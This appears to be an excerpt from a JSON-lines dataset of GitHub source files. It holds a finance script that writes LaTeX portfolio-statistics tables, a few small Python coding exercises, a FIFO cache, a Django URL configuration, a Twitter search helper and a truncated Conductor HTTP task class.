pd.read_csv(\"estimated_data/disaster_risk_measures/disaster_risk_measures.csv\")\nlevel = dis_measures[(dis_measures.level == level) & (dis_measures.maturity == maturity) & (dis_measures.variable == variable)]\nlevel = level.set_index(\"date\")[\"value\"].rename(\"level\")\nlevel_diff = level.diff()\n\n# Renaming portfolios to make 1st to be least exposed and 5th most exposed\nport_ret.rename(columns = {\"ew_1\":\"ew_5\", \"ew_2\":\"ew_4\",\"ew_3\":\"ew_3\",\"ew_4\":\"ew_2\",\"ew_5\":\"ew_1\"}, inplace = True)\nport_ret.rename(columns = {\"vw_1\":\"vw_5\", \"vw_2\":\"vw_4\",\"vw_3\":\"vw_3\",\"vw_4\":\"vw_2\",\"vw_5\":\"vw_1\"}, inplace = True)\n\n# Subtracting the risk free rate from all portfolios:\nFF = crsp_comp.load_FF()\nRF = FF[[\"RF\"]]\nport_ret = pd.merge(port_ret, RF, left_on = \"date\", right_index = True, how = \"left\")\nfor port_name in [\"ew_\" + str(x +1) for x in range(5)] + [\"vw_\" + str(x +1) for x in range(5)]:\n port_ret.loc[:,port_name] = port_ret.loc[:,port_name] - port_ret.loc[:,\"RF\"]\nport_ret.drop(columns = \"RF\", inplace = True)\n\nport_ret[\"ew_diff\"] = port_ret[\"ew_5\"] - port_ret[\"ew_1\"]\nport_ret[\"vw_diff\"] = port_ret[\"vw_5\"] - port_ret[\"vw_1\"]\n\n# Constructing statistics:\ncolname_list = [\"ew_\" + str(x+1) for x in range(5)] + [\"ew_diff\"]\ncolname_list += [\"vw_\" + str(x+1) for x in range(5)] + [\"vw_diff\"]\nsum_stat_dict = {}\nfor colname in colname_list:\n add_dict = {}\n port_ret_col = port_ret.set_index(\"date\")[colname]\n\n add_dict[\"mean\"] = np.mean(port_ret_col)*12\n add_dict[\"std\"] = np.std(port_ret_col)*np.sqrt(12) \n add_dict[\"sharpe\"] = add_dict[\"mean\"]/add_dict[\"std\"]\n add_dict[\"N\"] = port_ret_col.shape[0]\n \n port_ret_col = pd.merge(port_ret_col, level_diff, left_index = True, right_index = True)\n reg_res = smf.ols(formula = colname + \" ~ level\", data = port_ret_col).fit()\n add_dict[\"beta_level\"] = reg_res.params[1]\n \n sum_stat_dict[colname] = add_dict\n \n# Constructing the summary statistics table:\new_names = [\"ew_\" + str(x+1) for x in range(5)] + [\"ew_diff\"]\nvw_names = [\"vw_\" + str(x+1) for x in range(5)] + [\"vw_diff\"]\n\npath = \"SS_tables/port_sum_stats.tex\"\nf = open(path, \"w\")\nf.write(\"\\\\begin{tabular}{lcccccc}\\n\")\nf.write(\"\\\\toprule \\n\")\nf.write(\" Portfolio & 1 & 2 & 3 & 4 & 5 & 5-1 \\\\\\\\ \\n\")\nf.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\nf.write(\"\\multicolumn{7}{l}{\\\\textbf{Equal Weighted Portfolios}} \\\\\\\\ \\n\")\nf.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n\nrows_to_write = [\n [\"Mean($r - r_f$)\"] + [sum_stat_dict[x][\"mean\"] for x in ew_names],\n [\"Std($r - r_f$)\"] + [sum_stat_dict[x][\"std\"] for x in ew_names],\n [\"Sharpe\"] + [sum_stat_dict[x][\"sharpe\"] for x in ew_names],\n [\"$\\\\beta_\\\\mathbb{D}$\"] + [sum_stat_dict[x][\"beta_level\"] for x in ew_names]]\n\nfor row_to_write in rows_to_write:\n f.write(\"{} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*row_to_write))\n\nf.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\nf.write(\"\\multicolumn{7}{l}{\\\\textbf{Value Weighted Portfolios}} \\\\\\\\ \\n\")\nf.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n\nrows_to_write = [\n [\"Mean($r - r_f$)\"] + [sum_stat_dict[x][\"mean\"] for x in vw_names],\n [\"Std($r - r_f$)\"] + [sum_stat_dict[x][\"std\"] for x in vw_names],\n [\"Sharpe\"] + [sum_stat_dict[x][\"sharpe\"] for x in vw_names],\n [\"$\\\\beta_\\\\mathbb{D}$\"] + [sum_stat_dict[x][\"beta_level\"] for x in vw_names]]\n\nfor row_to_write in rows_to_write:\n f.write(\"{} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*row_to_write))\n \nf.write(\"\\\\bottomrule \\n\")\nf.write(\"\\end{tabular}\") \nf.close()\n\n\n####################################################################\n# Table with stats on Cremers port returns:\n\n# Getting info on raw returns and disaster measure\nport_ret = pd.read_csv(\"estimated_data/disaster_sorts/port_sort_cremers_jump_ret.csv\").rename(columns = {\"Unnamed: 0\":\"date\"})\nport_ret[\"date\"] = pd.to_datetime(port_ret[\"date\"])\n\ncremers_df = pd.read_csv(\"data/cremers_factors.csv\")\ncremers_df[\"date\"] = pd.to_datetime(cremers_df[\"date\"])\ncremers_df[\"date_mon\"] = cremers_df[\"date\"] + pd.offsets.MonthEnd(0)\ncremers_df[\"JUMP\"] = cremers_df[\"JUMP\"] + 1\ncremers_df = pd.DataFrame(cremers_df.groupby(\"date_mon\")[\"JUMP\"].prod())\ncremers_df[\"JUMP\"] = cremers_df[\"JUMP\"] - 1\n\n# Subtracting the risk free rate from all portfolios:\nFF = crsp_comp.load_FF()\nRF = FF[[\"RF\"]]\nport_ret = pd.merge(port_ret, RF, left_on = \"date\", right_index = True, how = \"left\")\nfor port_name in [\"ew_\" + str(x +1) for x in range(5)] + [\"vw_\" + str(x +1) for x in range(5)]:\n port_ret.loc[:,port_name] = port_ret.loc[:,port_name] - port_ret.loc[:,\"RF\"]\nport_ret.drop(columns = \"RF\", inplace = True)\n\nport_ret[\"ew_diff\"] = port_ret[\"ew_5\"] - port_ret[\"ew_1\"]\nport_ret[\"vw_diff\"] = port_ret[\"vw_5\"] - port_ret[\"vw_1\"]\n\n# Constructing statistics:\ncolname_list = [\"ew_\" + str(x+1) for x in range(5)] + [\"ew_diff\"]\ncolname_list += [\"vw_\" + str(x+1) for x in range(5)] + [\"vw_diff\"]\nsum_stat_dict = {}\nfor colname in colname_list:\n add_dict = {}\n port_ret_col = port_ret.set_index(\"date\")[colname]\n\n add_dict[\"mean\"] = np.mean(port_ret_col)*12\n add_dict[\"std\"] = np.std(port_ret_col)*np.sqrt(12) \n add_dict[\"sharpe\"] = add_dict[\"mean\"]/add_dict[\"std\"]\n add_dict[\"N\"] = port_ret_col.shape[0]\n \n port_ret_col = pd.merge(port_ret_col, cremers_df, left_index = True, right_index = True)\n reg_res = smf.ols(formula = colname + \" ~ JUMP\", data = port_ret_col).fit()\n add_dict[\"beta_level\"] = reg_res.params[1]\n \n sum_stat_dict[colname] = add_dict\n \n# Constructing the summary statistics table:\new_names = [\"ew_\" + str(x+1) for x in range(5)] + [\"ew_diff\"]\nvw_names = [\"vw_\" + str(x+1) for x in range(5)] + [\"vw_diff\"]\n\npath = \"SS_tables/port_sum_stats_cremers.tex\"\nf = open(path, \"w\")\nf.write(\"\\\\begin{tabular}{lcccccc}\\n\")\nf.write(\"\\\\toprule \\n\")\nf.write(\" Portfolio & 1 & 2 & 3 & 4 & 5 & 5-1 \\\\\\\\ \\n\")\nf.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\nf.write(\"\\multicolumn{7}{l}{\\\\textbf{Equal Weighted Portfolios}} \\\\\\\\ \\n\")\nf.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n\nrows_to_write = [\n [\"Mean($r - r_f$)\"] + [sum_stat_dict[x][\"mean\"] for x in ew_names],\n [\"Std($r - r_f$)\"] + [sum_stat_dict[x][\"std\"] for x in ew_names],\n [\"Sharpe\"] + [sum_stat_dict[x][\"sharpe\"] for x in ew_names],\n [\"$\\\\beta_\\\\mathbb{D}$\"] + [sum_stat_dict[x][\"beta_level\"] for x in ew_names]]\n\nfor row_to_write in rows_to_write:\n f.write(\"{} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*row_to_write))\n\nf.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\nf.write(\"\\multicolumn{7}{l}{\\\\textbf{Value Weighted Portfolios}} \\\\\\\\ \\n\")\nf.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n\nrows_to_write = [\n [\"Mean($r - r_f$)\"] + [sum_stat_dict[x][\"mean\"] for x in vw_names],\n [\"Std($r - r_f$)\"] + [sum_stat_dict[x][\"std\"] for x in vw_names],\n [\"Sharpe\"] + [sum_stat_dict[x][\"sharpe\"] for x in vw_names],\n [\"$\\\\beta_\\\\mathbb{D}$\"] + [sum_stat_dict[x][\"beta_level\"] for x in vw_names]]\n\nfor row_to_write in rows_to_write:\n f.write(\"{} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*row_to_write))\n \nf.write(\"\\\\bottomrule \\n\")\nf.write(\"\\end{tabular}\") \nf.close()\n\n\n\n####################################################################\n# Table with FF regressions of portfolios\n\nreg_res_df = pd.read_csv(\"estimated_data/disaster_sorts/reg_results.csv\")\nreg_res_df = reg_res_df[(reg_res_df.variable == variable) & (reg_res_df.maturity == \"level\") & (reg_res_df.level == \"Ind\")]\nreg_res_df = reg_res_df[reg_res_df.port.isin([\"ew_1\",\"ew_5\",\"ew_diff\", \"vw_1\",\"vw_5\",\"vw_diff\"])]\nreg_res_df = reg_res_df[reg_res_df.FF.isin([1,3,5])]\nreg_res_df = reg_res_df.sort_values([\"FF\", \"port\"])\n\npath = \"SS_tables/reg_ff.tex\"\nf = open(path, \"w\")\nf.write(\"\\small\")\nf.write(\"\\\\begin{tabular}{lccccccccc}\\n\")\nf.write(\"\\\\toprule \\n\")\nf.write(\" & \\\\multicolumn{3}{c}{CAPM} & \\\\multicolumn{3}{c}{FF3} & \\\\multicolumn{3}{c}{FF5} \\\\\\\\ \\n\")\nf.write(\"\\cline{2-10} \\n\")\nf.write(\" Portfolio & 1 & 5 & 5-1 & 1 & 5 & 5-1 & 1 & 5 & 5-1 \\\\\\\\ \\n\")\n\ni = 0\nfor var_list in [ew_names, vw_names]:\n if i == 0:\n f.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n f.write(\"\\multicolumn{7}{l}{\\\\textbf{Equal Weighted Portfolios}} \\\\\\\\ \\n\")\n f.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n i+=1\n else:\n f.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n f.write(\"\\multicolumn{7}{l}{\\\\textbf{Value Weighted Portfolios}} \\\\\\\\ \\n\")\n f.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n \n\n f.write(\"$\\\\alpha$ & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"alpha\"])))\n f.write(\" & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"alpha_se\"])))\n \n f.write(\"$MKT$ & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_MKT\"])))\n f.write(\" & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_MKT_se\"])))\n \n f.write(\"$SMB$ & & & & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_SMB\"].dropna())))\n f.write(\" & & & & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_SMB_se\"].dropna())))\n \n f.write(\"$HML$ & & & & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n \".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_HML\"].dropna())))\n f.write(\" & & & & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_HML_se\"].dropna())))\n \n f.write(\"$CMA$ & & & & & & & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_CMA\"].dropna())))\n f.write(\" & & & & & & & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex]\\n \".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_CMA_se\"].dropna())))\n \n f.write(\"$RMW$ & & & & & & & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_RMW\"].dropna())))\n f.write(\" & & & & & & & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_RMW_se\"].dropna())))\n \n f.write(\"$R^2$ & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"R2\"])))\n\nf.write(\"\\\\bottomrule \\n\")\nf.write(\"\\end{tabular}\") \nf.close()\n\n####################################################################\n# Regressions for Cremers factors\n\nreg_res_df = pd.read_csv(\"estimated_data/disaster_sorts/reg_results_cremers.csv\")\nreg_res_df = reg_res_df[reg_res_df.port.isin([\"ew_1\",\"ew_5\",\"ew_diff\", \"vw_1\",\"vw_5\",\"vw_diff\"])]\nreg_res_df = reg_res_df[reg_res_df.FF.isin([1,3,5])]\nreg_res_df = reg_res_df.sort_values([\"FF\", \"port\"])\n\npath = \"SS_tables/reg_ff_cremers.tex\"\nf = open(path, \"w\")\nf.write(\"\\small\")\nf.write(\"\\\\begin{tabular}{lccccccccc}\\n\")\nf.write(\"\\\\toprule \\n\")\nf.write(\" & \\\\multicolumn{3}{c}{CAPM} & \\\\multicolumn{3}{c}{FF3} & \\\\multicolumn{3}{c}{FF5} \\\\\\\\ \\n\")\nf.write(\"\\cline{2-10} \\n\")\nf.write(\" Portfolio & 1 & 5 & 5-1 & 1 & 5 & 5-1 & 1 & 5 & 5-1 \\\\\\\\ \\n\")\n\ni = 0\nfor var_list in [ew_names, vw_names]:\n if i == 0:\n f.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n f.write(\"\\multicolumn{7}{l}{\\\\textbf{Equal Weighted Portfolios}} \\\\\\\\ \\n\")\n f.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n i+=1\n else:\n f.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n f.write(\"\\multicolumn{7}{l}{\\\\textbf{Value Weighted Portfolios}} \\\\\\\\ \\n\")\n f.write(\"\\hline \\\\\\\\[-1.8ex] \\n\")\n \n f.write(\"$\\\\alpha$ & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"alpha\"])))\n f.write(\" & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"alpha_se\"])))\n \n f.write(\"$MKT$ & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_MKT\"])))\n f.write(\" & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_MKT_se\"])))\n \n f.write(\"$SMB$ & & & & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_SMB\"].dropna())))\n f.write(\" & & & & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_SMB_se\"].dropna())))\n \n f.write(\"$HML$ & & & & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n \".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_HML\"].dropna())))\n f.write(\" & & & & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_HML_se\"].dropna())))\n \n f.write(\"$CMA$ & & & & & & & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_CMA\"].dropna())))\n f.write(\" & & & & & & & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex]\\n \".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_CMA_se\"].dropna())))\n \n f.write(\"$RMW$ & & & & & & & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_RMW\"].dropna())))\n f.write(\" & & & & & & & ({:.3f}) & ({:.3f}) & ({:.3f}) \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"beta_RMW_se\"].dropna())))\n \n f.write(\"$R^2$ & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\ \\\\\\\\[-1.8ex] \\n\".format(*list(reg_res_df[reg_res_df.port.isin(var_list)][\"R2\"])))\n\nf.write(\"\\\\bottomrule \\n\")\nf.write(\"\\end{tabular}\") \nf.close()\n\n################################################################\n# Correlation of disaster measures with Cremers Factor\n\n\n\n\n","repo_name":"rsigalov/disaster-risk","sub_path":"SS_figures.py","file_name":"SS_figures.py","file_ext":"py","file_size_in_byte":23472,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"74495022810","text":"def find_infected_wards(num_wards, num_connections, connections):\n # 병동들 간의 연결 상태를 그래프로 표현하기 위해 인접 리스트를 사용\n graph = [[] for _ in range(num_wards + 1)]\n\n # 연결된 병동들을 그래프에 추가\n for connection in connections:\n ward1, ward2 = connection\n graph[ward1].append(ward2)\n graph[ward2].append(ward1)\n\n # 감염 여부를 체크하는 리스트를 초기화\n is_infected = [False] * (num_wards + 1)\n\n def dfs(ward):\n # 병동을 방문하고 감염 상태로 표시\n is_infected[ward] = True\n # 현재 병동과 연결된 다른 병동들을 확인하면서 감염되지 않은 경우 재귀적으로 탐색\n for neighbor in graph[ward]:\n if not is_infected[neighbor]:\n dfs(neighbor)\n\n # 첫 번째 병동(A씨가 위치한 병동)부터 DFS로 탐색을 시작\n dfs(1)\n\n # 감염된 병동의 개수를 세어 반환\n num_infected_wards = sum(is_infected) - 1 # A씨가 위치한 병동은 제외\n return num_infected_wards\n\n# 입력 예시와 동일한 데이터로 함수를 호출하여 결과를 출력\nnum_wards = 7\nnum_connections = 6\nconnections = [(1, 2), (2, 3), (1, 5), (5, 2), (5, 6), (4, 7)]\nresult = find_infected_wards(num_wards, num_connections, connections)\nprint(\"감염됨 병동은 {}개입니다.\".format(result))","repo_name":"seung-heee/python_codingtest","sub_path":"day10_0721/F_exam_01.py","file_name":"F_exam_01.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29259986197","text":"# 7.5. Найдите несколько случаев, когда временные переменные надо переименовать, и поищите, возможно, от некоторых временных переменных вам получится вообще полностью избавиться.\n# Строка 15. tmp = S[i] - удалено\n\n# 7. Конкурент Google\ndef WordSearch(len1, s, subs):\n try:\n assert type(len1) is int and len1 > 0 # Проверяем число N (целое, положительное)\n assert type(s) is str and len(s) > 0 # Проверяем строку s\n assert type(subs) is str and 0 < len(subs) <= len(s) # Проверяем слово subs\n assert \" \" not in s # Проверяем, что в строке не более 1 пробела\n\n def STROne(S, begin, end): # Формирование одной строки \n if (end + 1) < len(S) and S[end + 1] != ' ':\n for i in range(end, begin-1, -1):\n # tmp = S[i]\n if S[i] == ' ':\n end = i\n strOne = \"\".join(S[begin:(end+1)])\n break\n elif i == begin:\n strOne = \"\".join(S[begin:(end+1)])\n else:\n strOne = \"\".join(S[begin:(end+1)])\n return strOne, end\n\n def arrWords(len1, S): # Формирование массива из строк заданной ширины\n SS = list(S)\n end = -1\n strWords = []\n \n while end+1 != len(S):\n begin = end + 1\n if S[begin] == ' ': # Удаляем пробел вначале\n begin += 1\n if begin == 0: # ��ля первого элемента\n end = len1 - 1\n elif (end + len1) >= len(S): # для последнего элемента\n end = len(S) - 1\n else:\n end = begin + len1 - 1 # Для всех остальных эл-ов\n \n S1, end = STROne(SS, begin, end)\n strWords.append(S1)\n print(strWords)\n return(strWords)\n\n # def findWord(S, subs):\n\n if len1 == 1:\n S = s\n elif len1 >= len(s):\n S = [s]\n else:\n S = arrWords(len1, s)\n strRez = []\n \n for i in range(len(S)):\n if subs + ' ' in S[i] or subs == S[i]:\n strRez.append(1)\n else:\n strRez.append(0)\n return(strRez)\n except AssertionError:\n pass\n\n#print(WordSearch(10, '12345', 'subs'))\nprint(WordSearch(9, '1) stroka razbivaetsya na nabor strok...', 'strok'))","repo_name":"Arselena/HS_Modul_6_Clean_code","sub_path":"Level_6_3_5.py","file_name":"Level_6_3_5.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37269681687","text":"# O nosso cliente é um gerenciador de contexto ( with ), logo podemos\n# utilizá-lo como tal, evitando problemas com o fechamento da conexão com\n# o banco de dados:\n\nfrom pymongo import MongoClient\n\n\nwith MongoClient() as client:\n db = client.database\n for book in db.books.find({\"title\": {\"$regex\": \"t\"}}):\n print(book[\"title\"])\n","repo_name":"Gustaft86/trybe-exercises","sub_path":"modulo4_ciencia/bloco_35/dia_3/exercicio_conteudo/exercicio_conteudo15_mongo_contexto.py","file_name":"exercicio_conteudo15_mongo_contexto.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"23670644839","text":"#!/usr/bin/python3\n'''\nimplements first in first out caching\n'''\nfrom base_caching import BaseCaching\n\n\nclass FIFOCache(BaseCaching):\n '''class that inherits from BaseCaching '''\n\n def __init__(self):\n '''Constructor'''\n super().__init__()\n self.cache_data = {}\n self.lst = []\n\n def put(self, key, item):\n '''set max_items for caching'''\n if not key or not item:\n pass\n if key not in self.cache_data:\n self.lst.append(key)\n self.cache_data[key] = item\n if len(self.lst) > self.MAX_ITEMS:\n remove = self.lst.pop(0)\n del self.cache_data[remove]\n print(\"DISCARD: {}\".format(remove))\n\n def get(self, key):\n '''return value linked to key'''\n if key not in self.cache_data:\n return None\n return self.cache_data[key]\n\n @property\n def size(self):\n '''return size of cache_data'''\n return len(self.cache_data)\n","repo_name":"krisbredemeier/holbertonschool-webstack_back_end","sub_path":"0x04-caching/1-fifo_cache.py","file_name":"1-fifo_cache.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38780869975","text":"# coding: utf-8\nfrom django.urls import re_path, include\nfrom django.conf import settings\nfrom django.views.static import serve\nfrom django.views.generic import TemplateView\nfrom django.contrib.auth import views as auth_views\nfrom concrete_datastore.admin.admin import admin_site\nfrom .views import (\n service_status_view,\n OpenApiView,\n DatamodelServer,\n ConfigureOTPView,\n)\n\napp_name = 'concrete_datastore.concrete'\n\napi_v1_1_urls = re_path(\n r'^api/v1\\.1/',\n include('concrete_datastore.api.v1_1.urls', namespace='api_v1_1'),\n)\napi_v1_urls = re_path(\n r'^api/v1/', include('concrete_datastore.api.v1.urls', namespace='api_v1')\n)\n\n#: Swagger and OpenAPI should be available on if\n#: - DEBUG is True\n#: - DEBUG is False and ENABLE_SWAGGER_UI is True\n#:\n#: | DEBUG | ENABLE_SWAGGER_UI | result |\n#: | ----- | ----------------- | ------ |\n#: | 0 | 0 | 0 |\n#: | 0 | 1 | 1 |\n#: | 1 | 0 | 1 |\n#: | 1 | 1 | 1 |\nswagger_urls = []\nif settings.DEBUG or settings.ENABLE_SWAGGER_UI:\n swagger_urls = [\n re_path(\n fr'{settings.SWAGGER_SPEC_PATH}\\.(?Pjson|yaml)$',\n OpenApiView.as_view(patterns=[api_v1_1_urls]),\n name='openapi-schema',\n ),\n re_path(\n fr'^{settings.SWAGGER_UI_PATH}/',\n TemplateView.as_view(\n template_name='mainApp/swagger-ui.html',\n extra_context={'schema_url': 'openapi-schema'},\n ),\n name='swagger-ui',\n ),\n ]\n\n\nurlpatterns = [\n re_path(\n r'^auth/configure-otp/',\n ConfigureOTPView.as_view(),\n name='configure-otp',\n ),\n re_path(r'^oauth/', include('social_django.urls', namespace='social')),\n re_path(r'^status/$', service_status_view, name='service-status-view'),\n re_path(\n r'^datamodel/(?Pdownload|view/?)?$',\n DatamodelServer.as_view(),\n name='datamodel',\n ),\n re_path(\n r'^c/',\n include('concrete_datastore.concrete.urls', namespace='concrete'),\n ),\n api_v1_urls,\n api_v1_1_urls,\n *swagger_urls,\n]\nif settings.ADMIN_URL_ENABLED:\n urlpatterns += [\n re_path(rf'^{settings.ADMIN_ROOT_URI}/', admin_site.urls, name='admin')\n ]\n\nif settings.DEBUG:\n try:\n import debug_toolbar\n\n urlpatterns += [re_path(r'^__debug__/', include(debug_toolbar.urls))]\n except ImportError:\n # Ignore debug_toolbar if not installed\n pass\n\n urlpatterns += [\n re_path(\n r'^m/(?P.*)$', serve, {'document_root': settings.MEDIA_ROOT}\n ),\n re_path(\n r'^s/(?P.*)$', serve, {'document_root': settings.STATIC_ROOT}\n ),\n ]\nif settings.USE_CORE_AUTOMATION:\n # ImportError if the import fails\n import ns_core # pylint: disable = import-error\n from ns_core.coreApp.admin_site import ( # pylint: disable = import-error\n admin_site as core_admin_site,\n )\n\n urlpatterns += [\n re_path(r'^core/', include('ns_core.coreApp.urls', namespace='')),\n re_path(r'^core-admin/', core_admin_site.urls, name='core-admin'),\n ]\n\n\nurlpatterns += [\n re_path(\n r'^$',\n TemplateView.as_view(template_name='mainApp/index.html'),\n name='index',\n ),\n re_path(\n r'^oauth-logged$',\n TemplateView.as_view(template_name='mainApp/logged-using-oauth.html'),\n name='index-logged',\n ),\n]\n","repo_name":"Netsach/concrete-datastore","sub_path":"concrete_datastore/routes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"32"} +{"seq_id":"19865591595","text":"\"\"\"Utility Functions For Calling the Twitter API\"\"\"\n\nfrom twitter import Twitter # pylint: disable=E0611,F0401\nimport pprint\n\ndef search(keywords):\n \"\"\"Search the twitter timeline for keywords\"\"\"\n twitter_search = Twitter(domain=\"search.twitter.com\")\n \n response = twitter_search.search(q=keywords)\n \n if response:\n return response['results']\n else:\n return None # pragma: no cover\n\ndef main(): # pragma: no cover\n \"\"\"MAIN FUNCTION TO RUN IF THIS SCRIPT IS CALLED ALONE\"\"\"\n \n result = search(\"Shadowmagic\")\n \n # pretty print the result\n pprinter = pprint.PrettyPrinter(indent=4)\n pprinter.pprint(result)\n \n return result\n \nif __name__ == \"__main__\":\n main() # pragma: no cover","repo_name":"tetious/podiobooks","sub_path":"src/podiobooks/social/twitter_utils.py","file_name":"twitter_utils.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"37617240448","text":"from conductor.client.workflow.task.task import TaskInterface\nfrom conductor.client.workflow.task.task_type import TaskType\nfrom copy import deepcopy\nfrom enum import Enum\nfrom typing import Any, Dict, List\nfrom typing_extensions import Self\n\n\nclass HttpMethod(str, Enum):\n GET = \"GET\",\n PUT = \"PUT\",\n POST = \"POST\",\n DELETE = \"DELETE\",\n HEAD = \"HEAD\",\n OPTIONS = \"OPTIONS\"\n\n\nclass HttpInput:\n swagger_types = 